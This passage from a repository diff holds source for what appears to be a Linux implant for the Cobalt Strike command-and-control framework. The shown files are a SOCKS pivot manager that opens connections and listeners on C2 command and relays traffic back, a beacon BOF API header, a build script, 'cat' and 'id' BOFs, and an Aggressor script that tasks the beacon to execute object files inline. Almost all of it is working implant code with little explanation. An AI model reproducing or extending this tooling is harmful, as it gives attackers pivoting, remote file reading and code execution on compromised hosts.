if (FD_ISSET(temp->socket, &fds_write)) {
|
||||
int so_error;
|
||||
socklen_t len = sizeof(so_error);
|
||||
getsockopt(temp->socket, SOL_SOCKET, SO_ERROR, &so_error, &len);
|
||||
|
||||
if (so_error == 0) {
|
||||
DEBUG_PRINT("[SOCKS] Outgoing connection succeeded for id:%u (fd:%d).\n", temp->id, temp->socket);
|
||||
temp->state = STATE_READ;
|
||||
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CONNECT);
|
||||
} else {
|
||||
ERROR_PRINT("[SOCKS] Outgoing connection failed for id:%u (fd:%d): %s\n", temp->id, temp->socket, strerror(so_error));
|
||||
temp->state = STATE_DEAD;
|
||||
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check timeout
|
||||
if (temp->state == STATE_CONNECT && (get_monotonic_ms() - temp->start_time) > temp->timeout) {
|
||||
DEBUG_PRINT("[SOCKS] Connect timeout for id:%u (fd:%d)\n", temp->id, temp->socket);
|
||||
temp->state = STATE_DEAD;
|
||||
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
|
||||
}
|
||||
|
||||
temp = next;
|
||||
}
|
||||
}
|
||||
|
||||
static void pivot_reaper() {
|
||||
socket_entry_t *temp = g_pivot_list;
|
||||
socket_entry_t *prev = NULL;
|
||||
|
||||
while (temp != NULL) {
|
||||
int should_free = 0;
|
||||
if (temp->state == STATE_DEAD && temp->linger_time == 0) {
|
||||
DEBUG_PRINT("[SOCKS] Marking id:%u (fd:%d) for reaping.\n", temp->id, temp->socket);
|
||||
temp->linger_time = get_monotonic_ms();
|
||||
} else if (temp->state == STATE_DEAD && (get_monotonic_ms() - temp->linger_time) > 1000) {
|
||||
DEBUG_PRINT("[SOCKS] Reaping id:%u (fd:%d).\n", temp->id, temp->socket);
|
||||
close(temp->socket);
|
||||
should_free = 1;
|
||||
}
|
||||
|
||||
if (should_free) {
|
||||
socket_entry_t *next = temp->next;
|
||||
if (prev) {
|
||||
prev->next = next;
|
||||
} else {
|
||||
g_pivot_list = next;
|
||||
}
|
||||
free(temp);
|
||||
temp = next;
|
||||
} else {
|
||||
prev = temp;
|
||||
temp = temp->next;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static int pivot_reader(pivot_callback callback) {
|
||||
fd_set fds_read;
|
||||
struct timeval tv = {0, 100 * 1000}; // 100ms timeout
|
||||
int max_fd = 0;
|
||||
int read_something = 0;
|
||||
socket_entry_t *temp = g_pivot_list;
|
||||
|
||||
FD_ZERO(&fds_read);
|
||||
while (temp != NULL) {
|
||||
if (temp->state == STATE_READ) {
|
||||
FD_SET(temp->socket, &fds_read);
|
||||
if (temp->socket > max_fd) max_fd = temp->socket;
|
||||
}
|
||||
temp = temp->next;
|
||||
}
|
||||
|
||||
if (max_fd == 0) return 0;
|
||||
|
||||
int ret = select(max_fd + 1, &fds_read, NULL, NULL, &tv);
|
||||
if (ret < 0) {
|
||||
ERROR_PRINT("[SOCKS] reader select() error: %s\n", strerror(errno));
|
||||
return 0;
|
||||
}
|
||||
if (ret == 0) return 0;
|
||||
|
||||
|
||||
if (!g_read_buffer) {
|
||||
g_read_buffer = (char *)malloc(SOCKET_READ_MAX);
|
||||
}
|
||||
if (!g_read_buffer) return 0;
|
||||
|
||||
temp = g_pivot_list;
|
||||
while (temp != NULL) {
|
||||
if (temp->state == STATE_READ && FD_ISSET(temp->socket, &fds_read)) {
|
||||
uint32_t fid_be = htonl(temp->id);
|
||||
|
||||
ssize_t count = read(temp->socket, g_read_buffer + sizeof(fid_be), SOCKET_READ_MAX - sizeof(fid_be));
|
||||
|
||||
if (count > 0) {
|
||||
DEBUG_PRINT("[SOCKS] Read %zd bytes from id:%u (fd:%d)\n", count, temp->id, temp->socket);
|
||||
// Data read from the target socket needs to be sent back to the C2 server.
|
||||
// The format for this callback is:
|
||||
// [4 bytes] Socket ID (big endian)
|
||||
// [N bytes] Raw data read from the socket
|
||||
// This is then sent with the CALLBACK_READ (ID 5) type.
|
||||
memcpy(g_read_buffer, &fid_be, sizeof(fid_be));
|
||||
callback(g_read_buffer, count + sizeof(fid_be), CALLBACK_READ);
|
||||
read_something = 1;
|
||||
} else if (count == 0) {
|
||||
// EOF
|
||||
DEBUG_PRINT("[SOCKS] id:%u (fd:%d) got EOF. Closing.\n", temp->id, temp->socket);
|
||||
temp->state = STATE_DEAD;
|
||||
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
|
||||
} else { // count < 0
|
||||
if (errno != EAGAIN && errno != EWOULDBLOCK) {
|
||||
ERROR_PRINT("[SOCKS] read() error on id:%u (fd:%d): %s\n", temp->id, temp->socket, strerror(errno));
|
||||
temp->state = STATE_DEAD;
|
||||
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
|
||||
}
|
||||
}
|
||||
}
|
||||
temp = temp->next;
|
||||
}
|
||||
|
||||
return read_something;
|
||||
}
|
||||
|
||||
// Public Functions
|
||||
void pivot_init() {
|
||||
g_pivot_list = NULL;
|
||||
g_read_buffer = NULL;
|
||||
g_lsock_id = 0;
|
||||
DEBUG_PRINT("[SOCKS] Pivot manager initialized.\n");
|
||||
}
|
||||
|
||||
void pivot_poll(pivot_callback callback) {
|
||||
// This is the main polling function for the SOCKS pivot manager.
|
||||
// It is called on each iteration of the main beacon loop.
|
||||
// 1. pivot_poll_checker: Checks for the status of pending connections.
|
||||
// 2. pivot_reader: Reads data from any established, active connections.
|
||||
// 3. pivot_reaper: Cleans up any connections that have been marked as dead.
|
||||
pivot_poll_checker(callback);
|
||||
pivot_reader(callback);
|
||||
pivot_reaper();
|
||||
}
|
||||
|
||||
void pivot_cleanup() {
|
||||
socket_entry_t *temp = g_pivot_list;
|
||||
while (temp != NULL) {
|
||||
close(temp->socket);
|
||||
socket_entry_t *next = temp->next;
|
||||
free(temp);
|
||||
temp = next;
|
||||
}
|
||||
g_pivot_list = NULL;
|
||||
if (g_read_buffer) {
|
||||
free(g_read_buffer);
|
||||
g_read_buffer = NULL;
|
||||
}
|
||||
DEBUG_PRINT("[SOCKS] Pivot manager cleaned up.\n");
|
||||
}
|
||||
|
||||
// Command Handlers
|
||||
void command_listen_socks(const uint8_t *buffer, int length, pivot_callback callback) {
|
||||
if (length < 6) return;
|
||||
|
||||
uint32_t id = ntohl(*(uint32_t*)buffer);
|
||||
uint16_t port = ntohs(*(uint16_t*)(buffer + 4));
|
||||
|
||||
DEBUG_PRINT("[SOCKS] COMMAND_LISTEN on port %u for id %u\n", port, id);
|
||||
|
||||
int lsock = generic_listen(INADDR_ANY, port, 1);
|
||||
if (lsock < 0) {
|
||||
uint32_t fid_be = htonl(id);
|
||||
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
|
||||
} else {
|
||||
_add_socket(lsock, id, 180000, LISTEN_ONEOFF, port, STATE_CONNECT);
|
||||
}
|
||||
}
|
||||
|
||||
void command_connect_socks(const uint8_t *buffer, int length, pivot_callback callback) {
|
||||
if (length < 6) return;
|
||||
|
||||
uint32_t id = ntohl(*(uint32_t*)buffer);
|
||||
uint16_t port = ntohs(*(uint16_t*)(buffer + 4));
|
||||
char *host = (char *)(buffer + 6);
|
||||
int host_len = length - 6;
|
||||
|
||||
char host_z[1024];
|
||||
if (host_len >= sizeof(host_z)) host_len = sizeof(host_z) - 1;
|
||||
memcpy(host_z, host, host_len);
|
||||
host_z[host_len] = '\0';
|
||||
|
||||
DEBUG_PRINT("[SOCKS] COMMAND_CONNECT to %s:%u for id %u\n", host_z, port, id);
|
||||
|
||||
struct hostent *target = gethostbyname(host_z);
|
||||
if (!target) {
|
||||
ERROR_PRINT("[SOCKS] gethostbyname failed for %s\n", host_z);
|
||||
uint32_t fid_be = htonl(id);
|
||||
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
|
||||
return;
|
||||
}
|
||||
|
||||
int sock_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
ERROR_PRINT("[SOCKS] socket() for outgoing connection failed: %s\n", strerror(errno));
|
||||
uint32_t fid_be = htonl(id);
|
||||
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
|
||||
return;
|
||||
}
|
||||
|
||||
struct sockaddr_in addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
memcpy(&addr.sin_addr.s_addr, target->h_addr, target->h_length);
|
||||
|
||||
// Set non-blocking for connect
|
||||
int flags = fcntl(sock_fd, F_GETFL, 0);
|
||||
fcntl(sock_fd, F_SETFL, flags | O_NONBLOCK);
|
||||
|
||||
int ret = connect(sock_fd, (struct sockaddr *)&addr, sizeof(addr));
|
||||
if (ret < 0 && errno != EINPROGRESS) {
|
||||
ERROR_PRINT("[SOCKS] connect() to %s:%u failed: %s\n", host_z, port, strerror(errno));
|
||||
close(sock_fd);
|
||||
uint32_t fid_be = htonl(id);
|
||||
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
|
||||
return;
|
||||
}
|
||||
|
||||
_add_socket(sock_fd, id, 30000, LISTEN_NOTREALLY, 0, STATE_CONNECT);
|
||||
}
|
||||
|
||||
void command_send_socks(const uint8_t *buffer, int length) {
|
||||
if (length < 4) return;
|
||||
|
||||
uint32_t id = ntohl(*(uint32_t*)buffer);
|
||||
socket_entry_t *temp = g_pivot_list;
|
||||
|
||||
while (temp != NULL) {
|
||||
if (temp->id == id && temp->state == STATE_READ) {
|
||||
ssize_t total_written = 0;
|
||||
ssize_t to_write = length - 4;
|
||||
const uint8_t *data_ptr = buffer + 4;
|
||||
|
||||
DEBUG_PRINT("[SOCKS] COMMAND_SEND for id:%u (fd:%d), %zd bytes\n", id, temp->socket, to_write);
|
||||
|
||||
while (total_written < to_write) {
|
||||
ssize_t written = write(temp->socket, data_ptr + total_written, to_write - total_written);
|
||||
if (written >= 0) {
|
||||
total_written += written;
|
||||
} else {
|
||||
if (errno != EAGAIN && errno != EWOULDBLOCK) {
|
||||
ERROR_PRINT("[SOCKS] write() error on id:%u (fd:%d): %s. Closing socket.\n", id, temp->socket, strerror(errno));
|
||||
temp->state = STATE_DEAD;
|
||||
// Don't send CALLBACK_CLOSE here, let the reaper or reader do it
|
||||
// to avoid flooding the C2.
|
||||
break;
|
||||
}
|
||||
// If we get EAGAIN, we should ideally buffer the rest of the data and
|
||||
// wait for the socket to be writable again. This simple loop will spin,
|
||||
// which is not ideal, but better than dropping data.
|
||||
usleep(10000); // Sleep 10ms to avoid busy-waiting
|
||||
}
|
||||
}
|
||||
DEBUG_PRINT("[SOCKS] Wrote %zd bytes to id:%u (fd:%d)\n", total_written, id, temp->socket);
|
||||
break;
|
||||
}
|
||||
temp = temp->next;
|
||||
}
|
||||
}
|
||||
|
||||
void command_close_socks(const uint8_t *buffer, int length) {
|
||||
if (length < 4) return;
|
||||
|
||||
uint32_t id = ntohl(*(uint32_t*)buffer);
|
||||
socket_entry_t *temp = g_pivot_list;
|
||||
DEBUG_PRINT("[SOCKS] COMMAND_CLOSE for id:%u\n", id);
|
||||
while (temp != NULL) {
|
||||
if (temp->id == id) {
|
||||
temp->state = STATE_DEAD;
|
||||
break;
|
||||
}
|
||||
temp = temp->next;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef bool
|
||||
#define bool int
|
||||
#endif
|
||||
|
||||
typedef struct {
|
||||
char* original;
|
||||
char* buffer;
|
||||
int length;
|
||||
int size;
|
||||
} datap;
|
||||
|
||||
void BeaconDataParse(datap* parser, char* buffer, int size);
|
||||
char* BeaconDataPtr(datap* parser, int size);
|
||||
int BeaconDataInt(datap* parser);
|
||||
short BeaconDataShort(datap* parser);
|
||||
int BeaconDataLength(datap* parser);
|
||||
char* BeaconDataExtract(datap* parser, int* size);
|
||||
|
||||
typedef struct {
|
||||
char* original;
|
||||
char* buffer;
|
||||
int length;
|
||||
int size;
|
||||
} formatp;
|
||||
|
||||
void BeaconFormatAlloc(formatp* format, int maxsz);
|
||||
void BeaconFormatReset(formatp* format);
|
||||
void BeaconFormatAppend(formatp* format, char* text, int len);
|
||||
void BeaconFormatPrintf(formatp* format, char* fmt, ...);
|
||||
char* BeaconFormatToString(formatp* format, int* size);
|
||||
void BeaconFormatFree(formatp* format);
|
||||
void BeaconFormatInt(formatp* format, int value);
|
||||
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
|
||||
void BeaconOutput(int type, char* data, int len);
|
||||
void BeaconPrintf(int type, char* fmt, ...);
|
||||
bool BeaconIsRoot();
|
||||
Executable
+4
@@ -0,0 +1,4 @@
|
||||
#!/bin/sh
|
||||
|
||||
x86_64-linux-gnu-gcc -c -FPIC id.c -o id.x64.o || echo "[!] x86_64 compiler not found, skipping"
|
||||
x86_64-linux-gnu-gcc -c -FPIC cat.c -o cat.x64.o || echo "[!] x86_64 compiler not found, skipping"
|
||||
@@ -0,0 +1,48 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "beacon.h"
|
||||
|
||||
// https://github.com/trustedsec/ELFLoader
|
||||
// Cat BOF from TrustedSec
|
||||
|
||||
int run_cat(char* filestr){
|
||||
FILE* fin = NULL;
|
||||
char readin[2049];
|
||||
size_t readsize = 1;
|
||||
|
||||
memset(readin, 0, 2049);
|
||||
if (filestr == NULL){
|
||||
return 1;
|
||||
}
|
||||
|
||||
fin = fopen(filestr, "r");
|
||||
if (fin == NULL){
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "Failed to open file: %s\n", filestr);
|
||||
return 1;
|
||||
}
|
||||
while (readsize != 0){
|
||||
readsize = fread(readin, 1, 2048, fin);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "%s", readin);
|
||||
memset(readin, 0, 2049);
|
||||
}
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "\n");
|
||||
(void)fclose(fin);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int go(char* indata, int inlen){
|
||||
datap parser;
|
||||
char* filepath = NULL;
|
||||
|
||||
BeaconDataParse(&parser, indata, inlen);
|
||||
filepath = BeaconDataExtract(&parser, NULL);
|
||||
|
||||
(void)run_cat(filepath);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
import beacon.CommandBuilder;
|
||||
import common.CommonUtils;
|
||||
|
||||
sub beacon_inline_execute_linux {
|
||||
|
||||
btask($1, "Tasked beacon to inline execute Linux BOF!", "");
|
||||
|
||||
$bid = $1;
|
||||
$rawBofBytes = $2;
|
||||
$args = $3;
|
||||
|
||||
if($rawBofBytes eq $null)
|
||||
{
|
||||
berror($1, "Error: Specified BOF could not be found. Please ensure the file exists!");
|
||||
return;
|
||||
}
|
||||
|
||||
# https://github.com/WKL-Sec/HiddenDesktop/blob/14252f58e3f5379301f0d6334f92f8b96f321a16/bin/HiddenDesktop.cna#L80
|
||||
|
||||
$build = [ new CommandBuilder ];
|
||||
[$build setCommand: 200];
|
||||
[$build addLengthAndString: $rawBofBytes];
|
||||
[$build addLengthAndString: $args];
|
||||
|
||||
call( "beacons.task", $null, $1, cast( [$build build], 'b' ) );
|
||||
}
|
||||
|
||||
# If your BOF's Aggressor Script is in a separate Aggressor Script and not in here, you must add this include into it.
|
||||
###### include("/path/to/CobaltStrike-Linux-Beacon/CustomBeacon.cna"); ######
|
||||
|
||||
alias linux_id {
|
||||
|
||||
$handle = openf(script_resource("id.x64.o"));
|
||||
$rawBytesLength = lof(script_resource("id.x64.o"));
|
||||
$rawBofBytes = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
if($rawBytesLength < 1)
|
||||
{
|
||||
berror($1,"Error: Specified BOF could not be found. Please ensure the file exists!");
|
||||
return;
|
||||
}
|
||||
|
||||
$args = "";
|
||||
|
||||
beacon_inline_execute_linux($1, $rawBofBytes, $args);
|
||||
}
|
||||
|
||||
alias linux_cat {
|
||||
|
||||
$handle = openf(script_resource("cat.x64.o"));
|
||||
$rawBytesLength = lof(script_resource("cat.x64.o"));
|
||||
$rawBofBytes = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
if($rawBytesLength < 1)
|
||||
{
|
||||
berror($1,"Error: Specified BOF could not be found. Please ensure the file exists!");
|
||||
return;
|
||||
}
|
||||
|
||||
$args = bof_pack($1, "z", $2);
|
||||
|
||||
beacon_inline_execute_linux($1, $rawBofBytes, $args);
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#include <sys/types.h>
|
||||
#include "beacon.h"
|
||||
|
||||
// https://github.com/outflanknl/nix_bof_template
|
||||
// ID BOF from Outflank
|
||||
|
||||
uid_t libc$getuid();
|
||||
uid_t libc$geteuid();
|
||||
|
||||
void go(char* args, int alen) {
|
||||
uid_t uid = libc$getuid();
|
||||
uid_t euid = libc$geteuid();
|
||||
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "UID: %d EUID: %d\n", uid, euid);
|
||||
}
|
||||
Reference in New Issue
Block a user